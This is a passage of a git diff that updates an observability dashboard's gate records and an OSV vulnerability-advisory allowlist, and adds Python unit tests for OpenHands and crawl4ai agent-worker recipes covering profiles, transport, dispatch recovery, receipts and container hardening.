a/observability/grand-dashboard/state.json b/observability/grand-dashboard/state.json index 11bc16ba1..7f9baf351 100644 --- a/observability/grand-dashboard/state.json +++ b/observability/grand-dashboard/state.json @@ -1,7 +1,7 @@ { "schema_version": 1, - "recorded_at_utc": "2026-10-01T19:18:16Z", - "meaning": "Recorded checkpoint aligning Codex 0.159.3 and its SDK pair; native queue, capture and SDK qualification retain their linked scopes and limits. Existing foundation, paper and simulation records are preserved; the gateway request remains held.", + "recorded_at_utc": "2026-10-02T08:41:35Z", + "meaning": "Recorded checkpoint preserving main's Codex, foundation, paper and simulation evidence and adding scoped runtime source/effort repair gates. Linked records retain their original dates and acceptance scopes; emitter freshness is separate from task acceptance.", "lanes": [ { "kind": "lane", @@ -26,6 +26,27 @@ } ], "gates": [ + { + "kind": "gate", + "id": "runtime-worker-quality-and-image", + "title": "Runtime candidate image and task-quality acceptance", + "state": "Historical 2026-09-30 image triage records 56 fixable High-Critical matches / full-image and task-quality gates remain open", + "evidence_ref": "blueprints/runtime-workers/openhands/evidence/image-triage-20260930.json" + }, + { + "kind": "gate", + "id": "runtime-litellm-closure", + "title": "OpenHands package closure and owner review", + "state": "SDK1.50.0 Linux LiteLLM1.93.2 closure has linked native checks / source adoption and host integration and full-image task-quality acceptance remain pending", + "evidence_ref": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930.json" + }, + { + "kind": "gate", + "id": "runtime-sol-model-effort", + "title": "Sol route and native effort qualification", + "state": "Sol aliases and nested max repaired / local checks and source review pass / effective provider effort and inference and task-quality acceptance remain open", + "evidence_ref": "evidence/artifacts/runtime-sol-routing-20261002/receipt.json" + }, { "kind": "gate", "id": "memory-scheduled-learning", diff --git a/tests/test_openhands_150.py b/tests/test_openhands_150.py new file mode 100644 index 000000000..ad08e337f --- /dev/null +++ b/tests/test_openhands_150.py @@ -0,0 +1,297 @@ +"""Integration regression checks for the pinned SDK 1.50 recipe. + +These checks use fixtures and patched native calls, not live model acceptance. +Upstream SDK tests and live provider/container acceptance are separate evidence. +""" + +import asyncio +import contextlib +import importlib.util +import io +import json +import os +from pathlib import Path +import sys +import tempfile +from types import SimpleNamespace +import unittest +import uuid +from unittest.mock import MagicMock, patch + + +RECIPE = Path(__file__).resolve().parents[1] / "blueprints/runtime-workers/openhands" + + +def load(name): + spec = importlib.util.spec_from_file_location("openhands_150_" + name.removesuffix(".py").replace("/", "_"), RECIPE / name) + module = importlib.util.module_from_spec(spec) + sys.path.insert(0, str(RECIPE)) + try: + spec.loader.exec_module(module) + finally: + sys.path.pop(0) + return module + + +class OpenHands150Profiles(unittest.TestCase): + def test_profiles_are_bounded_and_services_are_task_scoped(self): + recipe = load("recipe.py") + name, baseline = recipe.task_profile({}) + self.assertEqual(name, "coding") + self.assertFalse(baseline["browser"]) + self.assertEqual(baseline["children"], []) + _, orchestration = recipe.task_profile({"OPENHANDS_PROFILE": "orchestration"}) + self.assertEqual(orchestration["delegation"]["tool_concurrency_limit"], 2) + self.assertEqual(orchestration["delegation"]["child_max_iteration_per_run"], 12) + self.assertEqual(orchestration["goal"]["max_iterations"], 3) + for child in orchestration["children"]: + self.assertEqual(recipe.task_profile({"OPENHANDS_PROFILE": child})[1]["children"], []) + with self.assertRaises(ValueError): + recipe.task_profile({"OPENHANDS_PROFILE": "unqualified-profile"}) + + def test_skill_objects_are_role_selected_and_github_descriptions_are_scoped(self): + recipe = load("recipe.py") + objects = {name: object() for name in ("github", "gh-fix-ci", "research-brief", "verification-before-completion", "tdd")} + manifest = {"roles": {"github": ["coding"], "gh-fix-ci": ["coding"], "research-brief": ["research"], + "tdd": ["coding"]}} + profile = recipe.task_profile({"OPENHANDS_PROFILE": "github-workflow"})[1] + selected = recipe.profile_skills(objects, manifest, profile) + self.assertEqual(set(selected), {"github", "gh-fix-ci", "verification-before-completion"}) + self.assertIs(selected["github"], objects["github"]) + with self.assertRaises(ValueError): + recipe.profile_skills(objects, {}, recipe.task_profile({"OPENHANDS_PROFILE": "research"})[1]) + + def test_sampling_is_rejected_before_any_request(self): + recipe = load("recipe.py") + config = recipe.read_json(RECIPE / "config/worker.json") + for key in ("temperature", "top_p", "top_k"): + with self.subTest(key=key), self.assertRaises(ValueError): + recipe.llm_config({**config, "llm": {**config["llm"], key: 0.3}}) + + def test_native_task_hook_refuses_ambient_and_recursive_agents(self): + hook = load("mcp_guard.py") + with patch.dict(os.environ, {"OPENHANDS_PROFILE": "orchestration"}): + self.assertTrue(hook.permitted({"tool_name": "task", "tool_input": {"subagent_type": "worker-research"}})) + self.assertFalse(hook.permitted({"tool_name": "task", "tool_input": {"subagent_type": "general-purpose"}})) + with patch.dict(os.environ, {"OPENHANDS_PROFILE": "coding"}): + self.assertFalse(hook.permitted({"tool_name": "task", "tool_input": {"subagent_type": "worker-research"}})) + + +class OpenHands150Transport(unittest.TestCase): + def test_completion_bridge_preserves_native_contract_and_restores_methods(self): + worker = load("worker.py") + sentinel = object() + calls = [] + class NativeLikeLLM: + extra_headers = {"x-omniroute-session": "fixture-session"} + def uses_responses_api(self): + return True + def generate(self, **kwargs): + calls.append(kwargs) + return sentinel + async def agenerate(self, **kwargs): + calls.append(kwargs) + return sentinel + def completion(self, *args, **kwargs): + raise AssertionError("chat path called") + async def acompletion(self, *args, **kwargs): + raise AssertionError("async chat path called") + originals = (NativeLikeLLM.generate, NativeLikeLLM.agenerate, NativeLikeLLM.completion, NativeLikeLLM.acompletion) + llm = NativeLikeLLM() + context, tools, callback = object(), [object()], lambda *_: None + with worker.gateway_transport(NativeLikeLLM): + self.assertIs(llm.completion(["message"], tools, True, callback, context, store=False), sentinel) + self.assertIs(asyncio.run(llm.acompletion(["async"], tools, True, callback, context, store=False)), sentinel) + for call in calls: + self.assertIs(call["tools"], tools) + self.assertIs(call["call_context"], context) + self.assertIs(call["on_token"], callback) + self.assertTrue(call["add_security_risk_prediction"]) + self.assertIs(call["store"], False) + self.assertEqual(call["extra_headers"]["x-omniroute-session"], "fixture-session") + self.assertNotEqual(calls[0]["extra_headers"]["Idempotency-Key"], calls[1]["extra_headers"]["Idempotency-Key"]) + self.assertEqual((NativeLikeLLM.generate, NativeLikeLLM.agenerate, NativeLikeLLM.completion, NativeLikeLLM.acompletion), originals) + + def test_actual_native_sdk_completion_uses_responses_dispatch(self): + try: + from openhands.sdk import LLM, Message, TextContent + except ImportError: + self.skipTest("Native SDK is tested in the isolated upstream installation") + worker = load("worker.py") + fields = worker.worker_llm_config({}, "rw-openhands-native-fixture") + llm = LLM(**fields) + sentinel = object() + with patch.object(LLM, "responses", return_value=sentinel) as responses, \ + patch.object(LLM, "aresponses", return_value=sentinel) as aresponses, worker.gateway_transport(LLM): + self.assertIs(llm.completion([Message(role="user", content=[TextContent(text="fixture")])]), sentinel) + self.assertIs(asyncio.run(llm.acompletion([Message(role="user", content=[TextContent(text="fixture")])])), sentinel) + self.assertEqual(responses.call_count, 1) + self.assertEqual(aresponses.call_count, 1) + self.assertEqual(type(llm), LLM) + + def test_actual_native_profiles_and_children_keep_explicit_route_tools_skills(self): + try: + from openhands.sdk.context import Skill + from openhands.sdk.subagent import get_agent_factory + except ImportError: + self.skipTest("Native SDK is tested in the isolated upstream installation") + worker = load("worker.py") + cfg = json.loads((RECIPE / "config/worker.json").read_text()) + pins = json.loads((RECIPE / "pins.json").read_text()) + skills = {name: Skill(name=name, content="Verify the task with its frozen oracle.", description="Task verification") + for name in ("verification-before-completion", "coding-skill", "research-skill")} + manifest = {"names": sorted(skills), "roles": { + "verification-before-completion": ["coding", "research", "orchestration", "extraction-caller"], + "coding-skill": ["coding", "orchestration"], "research-skill": ["research"], + }} + def read(path): + name = Path(path).name + if name == "skills.json": + return manifest + if name == "mcp.json": + return {name: {"transport": "stdio", "command": "python", "args": ["-c", "pass"]} + for name in ("fixture-one", "fixture-two")} + return json.loads(Path(path).read_text()) + with patch.object(worker, "read_json", side_effect=read), \ + patch("openhands.sdk.skills.load_skills_from_dir", return_value=({}, {}, skills)): + for name in ("coding", "planning", "browser", "research", "review", "github-workflow", "orchestration", "completion-review"): + with self.subTest(profile=name): + agent, versions, discovered = worker.build_agent({"OPENHANDS_PROFILE": name}, "rw-openhands-profile-fixture") + self.assertEqual(versions, {key: pins["version"] for key in ("openhands-sdk", "openhands-tools")}) + self.assertEqual(agent.llm.api_mode, "responses") + self.assertEqual(agent.llm.reasoning_effort, "max") + self.assertEqual(agent.llm.model, "openai/cx/gpt-6-astra-max") + self.assertFalse(agent.agent_context.load_user_skills) + self.assertEqual(set(discovered), {skill.name for skill in agent.agent_context.skills}) + definition = get_agent_factory("worker-research") + self.assertEqual(definition.definition.max_iteration_per_run, 12) + self.assertEqual(definition.definition.model, "openai/cx/gpt-6-astra-max") + parent = worker.build_agent({"OPENHANDS_PROFILE": "coding"}, "rw-openhands-profile-fixture")[0] + child_llm = parent.llm.model_copy() + child_llm.reset_metrics() + child = definition.factory_func(child_llm) + self.assertEqual(child.llm.usage_id, "child-research") + self.assertEqual({skill.name for skill in child.agent_context.skills}, {"research-skill", "verification-before-completion"}) + self.assertNotIn("TaskToolSet", {tool.name for tool in child.tools}) + + def test_goal_adapter_keeps_native_loop_and_separate_judge_metrics(self): + class Judge: + def __init__(self, usage_id="agent"): + self.usage_id = usage_id + self.reset = 0 + def model_copy(self, update): + return Judge(update["usage_id"]) + def reset_metrics(self): + self.reset += 1 + class NativeService: + def __init__(self): + self._conversation = SimpleNamespace(agent=SimpleNamespace(llm=Judge())) + async def start_goal_loop(self, *args, **kwargs): + return args, kwargs + async def resume_goal_loop(self, *args, **kwargs): + return args, kwargs + context = MagicMock() + modules = {"openhands.sdk": SimpleNamespace(LLM=Judge), + "openhands.agent_server.event_service": SimpleNamespace(EventService=NativeService), + "worker": SimpleNamespace(gateway_transport=MagicMock(return_value=context), + capture_correlation=lambda _: None, register_worker_agents=lambda *_: None)} + with patch.dict(sys.modules, modules), patch.dict(os.environ, { + "OPENHANDS_OWNED_CONTAINER": "1", "OPENHANDS_RUN_ID": "rw-openhands-fixture"}), patch("atexit.register"): + module = load("server_transport.py") + service = NativeService() + args, kwargs = asyncio.run(service.start_goal_loop("objective", max_iterations=3)) + self.assertEqual(args, ("objective",)) + self.assertEqual(kwargs["judge_llm"].usage_id, "goal-judge") + self.assertEqual(kwargs["judge_llm"].reset, 1) + self.assertEqual(service._conversation.agent.llm.usage_id, "agent") + self.assertIsNot(kwargs["judge_llm"], service._conversation.agent.llm) + with self.assertRaises(ValueError): + asyncio.run(service.start_goal_loop("objective", max_iterations=4)) + self.assertEqual(asyncio.run(service.resume_goal_loop())[1]["judge_llm"].usage_id, "goal-judge") + module._goal_transport.__exit__(None, None, None) + + def test_p3_native_tool_replay_and_query_denial_are_fixture_only(self): + try: + from openhands.sdk import LLM, Message, TextContent + except ImportError: + self.skipTest("Native SDK is tested in the isolated upstream installation") + netprobe = load("e2e/netprobe.py") + request_calls = [] + first = Message(role="assistant", content=[], tool_calls=[{ + "id": "call-p3-fixture", "origin": "responses", + "name": "route_probe", "arguments": '{"text":"P3_OK"}', + }]) + second = Message(role="assistant", content=[TextContent(text="P3_OK")]) + responses = iter((first, second)) + def generate(llm, **kwargs): + request_calls.append(kwargs) + kwargs["on_token"]("fixture-token") + return SimpleNamespace(message=next(responses)) + connection = MagicMock() + connection.getresponse.side_effect = [ + SimpleNamespace(status=403, getheader=lambda _: None), SimpleNamespace(status=200), + ] + with patch.object(LLM, "generate", new=generate), patch.object(netprobe.Path, "exists", return_value=True), \ + patch.object(netprobe.http.client, "HTTPConnection", return_value=connection): + result = netprobe.p3_control_call({"OPENHANDS_OWNED_CONTAINER": "1"}, "rw-openhands-p3-fixture") + self.assertTrue(result["sdk_probe_passed"]) + self.assertEqual(result["independent_gateway_verdict"], "pending") + self.assertEqual(request_calls[0]["tools"][0].name, "route_probe") + self.assertEqual(request_calls[1]["messages"][-1].tool_call_id, "call-p3-fixture") + self.assertEqual(connection.request.call_args_list[0].args[:2], ("POST", "/v1/responses?p3=must-be-denied")) + + +class OpenHands150Recovery(unittest.TestCase): + def test_interrupt_resume_preserves_native_conversation_deadline_and_reservation(self): + dispatch = load("dispatch.py") + run_id, arm = "rw-openhands-recovery-fixture", "control" + conversation_id = str(uuid.UUID(int=1)) + with tempfile.TemporaryDirectory() as directory: + state = Path(directory).resolve() + result = state / "runs" / run_id / arm + result.mkdir(parents=True) + status = {"status": "running", "conversation_id": conversation_id, "deadline": 1200, "port": 3730} + (result / "status.json").write_text(json.dumps(status)) + (result / "window.json").write_text(json.dumps({"run_id": run_id, "arm": arm})) + reservation = {"run_id": run_id, "arm": arm} + lock = state / "active-dispatch.json" + lock.write_text(json.dumps(reservation)) + with patch.object(dispatch, "api_request", return_value={"success": True}) as native, \ + patch.object(dispatch.time, "time", return_value=100), contextlib.redirect_stdout(io.StringIO()): + self.assertEqual(dispatch.execute("interrupt", state, run_id, arm), 0) + self.assertEqual(json.loads((result / "status.json").read_text())["status"], "paused") + self.assertEqual(dispatch.execute("resume", state, run_id, arm), 0) + self.assertEqual(dispatch.execute("resume", state, run_id, arm), 3) + self.assertEqual([call.args[:2] for call in native.call_args_list], [ + ("POST", f"/api/conversations/{conversation_id}/interrupt"), + ("POST", f"/api/conversations/{conversation_id}/run"), + ]) + current = json.loads((result / "status.json").read_text()) + self.assertEqual(current["conversation_id"], conversation_id) + self.assertEqual(current["deadline"], 1200) + self.assertEqual(json.loads(lock.read_text()), reservation) + + def test_goal_status_is_lifecycle_output_and_preserves_active_judge_round(self): + dispatch = load("dispatch.py") + with patch.object(dispatch, "api_request", return_value={"items": [ + {"key": "stats", "value": {}}, {"key": "goal", "value": {"active": True, "status": "running"}}, + ]}): + self.assertEqual(dispatch.native_goal_status("fixture", 3730, Path("fixture")), {"active": True, "status": "running"}) + + def test_independent_observer_rejects_fixture_and_model_store_sources(self): + receipt = load("receipt.py") + pins = json.loads((RECIPE / "pins.json").read_text()) + with tempfile.TemporaryDirectory() as directory: + root = Path(directory) + observer = root / "observer" + observer.mkdir() + for evidence_class, source_kind in (("integration_fixture", "isolated_native_executor"), + ("independent_native_observation", "native_event_api")): + path = observer / "receipt.json" + path.write_text(json.dumps({"evidence_class": evidence_class, "source_kind": source_kind})) + path.chmod(0o600) + self.assertEqual(receipt.independent_observations(root, {}, pins)["status"], "not_collected") + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_osv_lockfile_coverage.py b/tests/test_osv_lockfile_coverage.py index 57473c234..6a2fcf156 100644 --- a/tests/test_osv_lockfile_coverage.py +++ b/tests/test_osv_lockfile_coverage.py @@ -61,13 +61,37 @@ "GHSA-xpv3-w29h-x7cv": {"package": "oauthlib", "fixed": (4, 0, 0)}, } IGNORE_ALLOWED_LOCKS = { - # Live recipe lock, relocked onto PyJWT 2.14.0 and then, on 2026-09-30, onto urllib3 2.8.0 and PyJWT 2.15.0 and onto litellm 1.93.2. Its - # receipt carries the 2026-09-29 oauthlib review forward at this sha256 (those relocks change only the urllib3, PyJWT and litellm - # entries); the relock onto oauthlib 4.0.0 deletes this entry in the same change. + # Exact source-reviewed tokenization/corpus-only closures. The 2026-09-30 + # receipt independently rechecks installed callers and current recipes; + # dynamic/new model-artifact operations invalidate this bounded scope. + "blueprints/runtime-workers/gpt-researcher/requirements.lock": { + "advisories": ["GHSA-8mgp-746c-j5xp"], + "sha256": "839e23f1a74dae155901fefbba2c1e53520f5fb468c4562222323e07e3d27774", + "evidence": "evidence/artifacts/runtime-roster-20260930/lock-scan-and-nltk-scope.json", + }, + "blueprints/runtime-workers/crawl4ai/requirements.lock": { + "advisories": ["GHSA-8mgp-746c-j5xp"], + "sha256": "515633e3e9a1c94fc4bf9479f67983ccdc673b0a0f8fe04f27237fc10a53a701", + "evidence": "evidence/artifacts/runtime-roster-20260930/lock-scan-and-nltk-scope.json", + }, + # Candidate 1.50.0 Linux x86_64 / CPython 3.13.15 closure ONLY; fresh + # alias/from-import-aware source review binds both OAuthlib advisories to + # these exact artifacts. The recipe consumes this lock inside its pinned + # linux/amd64 image (Dockerfile CPython 3.13.15), not a native macOS venv. + # Other platforms/interpreters or changed source require a new review. + # The LiteLLM 1.93.2 native relock retains all 175 other package blocks + # and the nine reviewed OAuthlib/text-only source identities. Its fresh + # installed caller scans and complete official LiteLLM Python sources + # bind this 38c20c closure; static limits remain in the new receipt. + # PR #558's public 54d09ee8 review covers historical 832938 only; PR #537 + # covers historical 383ccc only. Neither is a fresh independent review + # of this current digest. Independent current-candidate review is pending. + # The joint oauthlib 4.0.0 relock removes this entry; it grants no image, + # arbitrary worker-code acceptance, merge approval or promotion. "blueprints/runtime-workers/openhands/requirements.lock": { "advisories": ["GHSA-hj66-6f7g-4r5v", "GHSA-xpv3-w29h-x7cv"], - "sha256": "e24df8328149c921f751eb93d682b3f5b66eb4efd09bf4b053ffcfca057181e1", - "evidence": "evidence/receipts/osv-openhands-litellm-relock-20260930.json", + "sha256": "38c20c899b8d7b08e03a04624daa17ba1fc353533fbff450bb0ac2bddd0832eb", + "evidence": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930.json", }, # Frozen evaluation-only lock. The receipt reviews the oauthlib advisories and carries forward the 2026-09-26 # nltk and setuptools review (repository-checks.json in the trial directory) at the same sha256. diff --git a/tests/test_runtime_worker_crawl4ai.py b/tests/test_runtime_worker_crawl4ai.py new file mode 100644 index 000000000..f3e4c2641 --- /dev/null +++ b/tests/test_runtime_worker_crawl4ai.py @@ -0,0 +1,600 @@ +"""Offline recipe contracts, not upstream or provider acceptance. + +Sources inspected before authoring: unclecode/crawl4ai v0.9.4 release, +pyproject.toml, utils.py:1820-1837, extraction_strategy.py:556-691, +docs/examples/llm_extraction_openai_pricing.py, docs/md_v2/core/fit-markdown.md; +adoption/templates/codex{,.stack-worker}.config.toml. Public seams and +fail-first workflow were specified in the user's runtime-worker task. +""" + +import json +import hashlib +import importlib.util +import os +import re +import shutil +import sqlite3 +import subprocess +import sys +import tempfile +import unittest +import io +from contextlib import redirect_stdout +from contextlib import closing +from pathlib import Path +from unittest.mock import patch + +ROOT = Path(__file__).resolve().parents[1] +RECIPE = ROOT / "blueprints/runtime-workers/crawl4ai" + + +def module(name, relative): + spec = importlib.util.spec_from_file_location(name, RECIPE / relative) + imported = importlib.util.module_from_spec(spec) + path = RECIPE / relative + with patch.dict(sys.modules), patch.object(sys, "path", [str(path.parent), *sys.path]): + for key, value in list(sys.modules.items()): + location = getattr(value, "__file__", None) + if location and Path(location).is_relative_to(ROOT / "blueprints/runtime-workers") \ + and not Path(location).is_relative_to(RECIPE): + del sys.modules[key] + spec.loader.exec_module(imported) + return imported + + +class Crawl4AIRecipeTests(unittest.TestCase): + def test_default_dispatch_crawls_without_gateway_model_or_extraction(self): + dispatch = module('crawl4ai_default_dispatch', 'dispatch.py') + with tempfile.TemporaryDirectory() as directory, redirect_stdout(io.StringIO()): + state = Path(directory) + with patch.object(dispatch, 'locations', return_value=(state / 'prefix', state)), \ + patch.object(dispatch, 'arm_settings', side_effect=AssertionError('gateway unused')), \ + patch.object(dispatch.subprocess, 'Popen'): + self.assertEqual(dispatch.main(['start', '--run-id', 'default-crawl', '--url', 'https://example.com/']), 0) + run = state / 'runs/default-crawl' + self.assertEqual(json.loads((run / 'request.json').read_text())['kind'], 'crawl') + with patch.object(dispatch, 'locations', return_value=(state / 'prefix', state)), \ + patch.object(dispatch, 'arm_settings', side_effect=AssertionError('gateway unused')), \ + patch.object(dispatch, 'crawl_job', return_value=({'passed': True}, 0)): + self.assertEqual(dispatch.execute(run, 'control'), 0) + receipt = json.loads((run / 'receipt.json').read_text()) + self.assertFalse(receipt['llm_used']) + self.assertEqual(receipt['route_applicability'], 'separate_responses_caller_only') + self.assertNotIn('model', receipt) + self.assertNotIn('base_url', receipt) + + def test_rest_job_dispatch_uses_native_status_and_never_exposes_job_ids(self): + with patch.dict(sys.modules, {'host': module('crawl4ai_host', 'host.py'), + 'worker': module('crawl4ai_worker', 'worker.py')}): + dispatch = module('crawl4ai_dispatch', 'dispatch.py') + with tempfile.TemporaryDirectory() as directory: + work = Path(directory) + replies = [({'task_id':'crawl_1234abcd'},202), ({'status':'processing'},200), + ({'status':'completed','result':{'success':True,'results':[{'success':True,'markdown':'content'}]}},200)] + with patch.object(dispatch,'api_request',side_effect=replies) as api, patch.object(dispatch.time,'sleep'): + receipt, code = dispatch.crawl_job(work, ['https://example.com/']) + self.assertEqual(code,0) + self.assertTrue(receipt['passed']) + self.assertNotIn('crawl_1234abcd',json.dumps(receipt)) + self.assertEqual(api.call_args_list[0].args, ('/crawl/job', {'urls':['https://example.com/']})) + self.assertEqual(api.call_args_list[1].args, ('/crawl/job/crawl_1234abcd',)) + self.assertEqual(json.loads((work/'result.json').read_text())['success'],True) + for response, expected in [({'status':'failed','error':'PRIVATE'},3), + ({'status':'completed','result':{}},4), + ({'status':'completed','result':{'success':False,'results':[{'success':False}]}},3)]: + with patch.object(dispatch,'api_request',side_effect=[({'task_id':'crawl_1234abcd'},202),(response,200)]): + result, code = dispatch.crawl_job(work, ['https://example.com/']) + self.assertEqual(code,expected) + self.assertNotIn('PRIVATE',json.dumps(result)) + with patch.object(dispatch,'api_request',side_effect=[({'task_id':'crawl_1234abcd'},202),OSError('private network detail')]): + result, code = dispatch.crawl_job(work, ['https://example.com/']) + self.assertEqual(code,4) + self.assertEqual(result['native_status'],'unobserved_after_enqueue') + self.assertNotIn('private network detail',json.dumps(result)) + + def test_mcp_registration_uses_explicit_sse_and_dynamic_private_headers(self): + with patch.dict(sys.modules, {'host': module('crawl4ai_host', 'host.py')}): + mcp = module('crawl4ai_mcp_config', 'mcp-config.py') + with patch.object(mcp,'load_host',return_value={'api_port':3730}), \ + patch.object(mcp,'locations',return_value=(Path('/owned/prefix'),Path('/owned/state'))): + config = mcp.configuration() + self.assertEqual(config['type'],'sse') + self.assertEqual(config['url'],'http://127.0.0.1:3730/mcp/sse') + self.assertEqual(config['timeout'],180000) + self.assertIn('mcp-config.py headers',config['headersHelper']) + self.assertNotIn('headers',config) + + def test_e2e_setup_failure_writes_receipt_before_host_resources(self): + with patch.object(sys, 'path', [str(RECIPE/'e2e'), str(RECIPE), *sys.path]): + run = module('crawl4ai_run', 'e2e/run.py') + with tempfile.TemporaryDirectory() as directory, redirect_stdout(io.StringIO()), \ + patch.object(run, 'load_host', side_effect=ValueError('private details')), \ + patch.object(run.subprocess, 'run') as external: + self.assertEqual(run.main(['--run-dir', directory, '--arm', 'engines-on']), 2) + status = json.loads((Path(directory)/'status.json').read_text()) + receipt = json.loads((Path(directory)/'receipt.json').read_text()) + self.assertEqual(status['arm'], 'engines-on') + self.assertEqual(status['state'], 'finished') + self.assertEqual(receipt['outcome'], 'setup_failure') + self.assertNotIn('private details', json.dumps(receipt)) + self.assertEqual([a['arm'] for a in receipt['arms']], ['engines-on']) + external.assert_not_called() + + def test_damaged_config_still_leaves_a_setup_receipt(self): + with patch.object(sys, 'path', [str(RECIPE/'e2e'), str(RECIPE), *sys.path]): + run = module('crawl4ai_run', 'e2e/run.py') + read = Path.read_text + def unreadable_config(path, *args, **kwargs): + if path == RECIPE / 'config/worker.json': + raise ValueError('damaged configuration') + return read(path, *args, **kwargs) + with tempfile.TemporaryDirectory() as directory, redirect_stdout(io.StringIO()), \ + patch.object(Path,'read_text',unreadable_config): + self.assertEqual(run.main(['--run-dir',directory,'--arm','control']),2) + self.assertEqual(json.loads((Path(directory)/'receipt.json').read_text())['outcome'],'setup_failure') + + def test_dispatch_has_deterministic_status_and_distinct_verdicts(self): + with patch.dict(sys.modules, {'host': module('crawl4ai_host', 'host.py'), + 'worker': module('crawl4ai_worker', 'worker.py')}): + dispatch = module('crawl4ai_dispatch', 'dispatch.py') + with tempfile.TemporaryDirectory() as directory, redirect_stdout(io.StringIO()): + root = Path(directory) + with patch.object(dispatch, 'locations', return_value=(root / 'prefix', root)), \ + patch.object(dispatch.subprocess, 'Popen', side_effect=FileNotFoundError): + code = dispatch.main(['start', '--run-id', 'child-001', '--arm', 'engines-on']) + self.assertEqual(code, 2) + run = root / 'runs/child-001' + status = json.loads((run / 'status.json').read_text()) + self.assertEqual(status['arm'], 'engines-on') + self.assertEqual(status['receipt_path'], str(run / 'receipt.json')) + self.assertEqual(json.loads((run / 'receipt.json').read_text())['outcome'], 'setup_failure') + for outcome, expected in [('setup_failure',2),('negative_verdict',3),('incomplete_evidence',4),('pass',0)]: + dispatch.finish(run, {'outcome':outcome,'passed':expected==0}, expected) + with patch.object(dispatch, 'locations', return_value=(root/'prefix', root)): + self.assertEqual(dispatch.main(['result','--run-id','child-001','--arm','engines-on']),expected) + self.assertEqual(dispatch.main(['wait','--run-id','child-001','--arm','engines-on','--timeout','0']),expected) + with patch.object(dispatch, 'locations', return_value=(root/'prefix',root)), patch.object(dispatch.subprocess,'Popen') as spawn: + self.assertEqual(dispatch.main(['start','--run-id','child-001','--arm','engines-on']),0) + spawn.assert_not_called() + self.assertEqual(dispatch.main(['result','--run-id','child-001','--arm','control']),2) + self.assertEqual(dispatch.main(['start','--run-id','../escape','--arm','control']),2) + + def test_engines_usage_comes_from_its_entry_database_only(self): + with patch.dict(sys.modules, {'grade': module('crawl4ai_grade', 'e2e/grade.py')}): + receipt = module('crawl4ai_receipt', 'e2e/receipt.py') + with tempfile.TemporaryDirectory() as directory: + work = Path(directory) + databases = {} + for arm, tokens in [('control',9999),('engines-on',120)]: + database = work / (arm + '.sqlite') + databases[arm] = database + with closing(sqlite3.connect(database)) as db, db: + db.execute('CREATE TABLE call_logs (timestamp, path, status, model, reasoning_effort_requested, reasoning_effort_upstream, tokens_in, tokens_cache_read, tokens_reasoning, correlation_id)') + for second in (1,2,3): + db.execute('INSERT INTO call_logs VALUES (?,?,?,?,?,?,?,?,?,?)', + (f'2026-09-27T12:00:0{second}Z','/v1/chat/completions',200,'gpt-6-astra-max', + 'max','max',tokens,0,5,'PRIVATE')) + (work/'run.json').write_text(json.dumps({'selected_arms':['engines-on'], 'arms':{ + 'engines-on':{'model':'sharedgw/gpt-6-astra-max','start':'2026-09-27T12:00:00Z','end':'2026-09-27T12:00:10Z'}}})) + result = receipt.make_receipt(work, databases) + rows = result['arms'][0]['gateway']['rows'] + self.assertEqual([row['tokens_in'] for row in rows],[120,120,120]) + self.assertNotIn('9999',json.dumps(result)) + + + def test_grader_install_uses_integrity_lock_without_lifecycle_scripts(self): + installer = (RECIPE / 'install.sh').read_text() + self.assertIn('npm ci --ignore-scripts', installer) + self.assertNotIn('npm install --global', installer) + package = json.loads((RECIPE / 'grader/package.json').read_text()) + lock_path = RECIPE / 'grader/package-lock.json' + lock = json.loads(lock_path.read_text()) + self.assertEqual(package['dependencies'], {'promptfoo': '0.123.1'}) + self.assertEqual(lock['packages']['']['dependencies'], package['dependencies']) + self.assertEqual(lock['packages']['node_modules/promptfoo']['version'], '0.123.1') + for name, entry in lock['packages'].items(): + if name: + self.assertRegex(entry['integrity'], r'^sha512-') + self.assertTrue(entry['resolved'].startswith('https://registry.npmjs.org/')) + pins = json.loads((RECIPE / 'pins.json').read_text()) + self.assertEqual(pins['grader']['lock_sha256'], hashlib.sha256(lock_path.read_bytes()).hexdigest()) + self.assertIn('/grader/node_modules/.bin/promptfoo', (RECIPE / 'common.sh').read_text()) + + def test_container_hardening_and_arm_base_url_are_effective(self): + compose = (RECIPE / 'config/compose.yaml').read_text() + for setting in ['cap_drop: [ALL]', 'no-new-privileges:true', 'read_only: true', 'tmpfs:', + '${CRAWL4AI_CONTAINER_BASE_URL:?']: + self.assertIn(setting, compose) + self.assertNotIn('http://10.0.2.2:20128/v1', compose) + self.assertIn('--field container_base_url', (RECIPE / 'container.sh').read_text()) + supervisor = (RECIPE / 'config/supervisord.conf').read_text() + self.assertEqual(supervisor.count('user=appuser'), 2) + self.assertIn('PYTHONDONTWRITEBYTECODE', compose) + entrypoint = (RECIPE / 'container-entrypoint.sh').read_text() + self.assertLess(entrypoint.index('chown 0:0'), entrypoint.index('chmod 0700')) + self.assertLess(entrypoint.index('chmod 0700'), entrypoint.index('chown appuser:appuser')) + + def test_response_correlation_is_captured_without_exporting_other_headers(self): + from types import SimpleNamespace + worker = module('crawl4ai_worker', 'worker.py') + ids = [] + hook = worker.correlation_hook(ids) + hook(SimpleNamespace(headers={'x-correlation-id': 'entry-123', 'Authorization': 'PRIVATE'})) + hook(SimpleNamespace(headers={})) + self.assertEqual(ids, ['entry-123', None]) + args = worker.extraction_args(json.loads((RECIPE / 'config/worker.json').read_text()), + 'engines-on', {}, 'session', client='native-client') + self.assertEqual(args['client'], 'native-client') + + def test_entry_gateway_filters_correlations_and_reports_conditional_effort(self): + with patch.dict(sys.modules, {'grade': module('crawl4ai_grade', 'e2e/grade.py')}): + receipt = module('crawl4ai_receipt', 'e2e/receipt.py') + with tempfile.TemporaryDirectory() as directory: + database = Path(directory) / 'entry.sqlite' + with closing(sqlite3.connect(database)) as db, db: + db.execute('CREATE TABLE call_logs (timestamp, path, status, model, tokens_in, tokens_cache_read, tokens_reasoning, correlation_id, reasoning_effort_requested, reasoning_effort_upstream, prompt)') + for cid, model, path, tokens, effort in [('own-1','gpt-6-astra-max','/v1/chat/completions',10,'max'), + ('own-2','sharedgw/gpt-6-astra-max','/v1/chat/completions',0,None), + ('other','gpt-6-astra-max','/v1/chat/completions',999,'low'), + ('own-1','gpt-6-astra-max','/v1/models',0,None)]: + db.execute('INSERT INTO call_logs VALUES (?,?,?,?,?,?,?,?,?,?,?)', + ('2026-09-27T12:00:05Z',path,200,model,120,None,tokens,cid,effort,effort,'PRIVATE')) + before = database.read_bytes() + observed = receipt.gateway_rows(database,'2026-09-27T12:00:00Z','2026-09-27T12:00:10Z', + 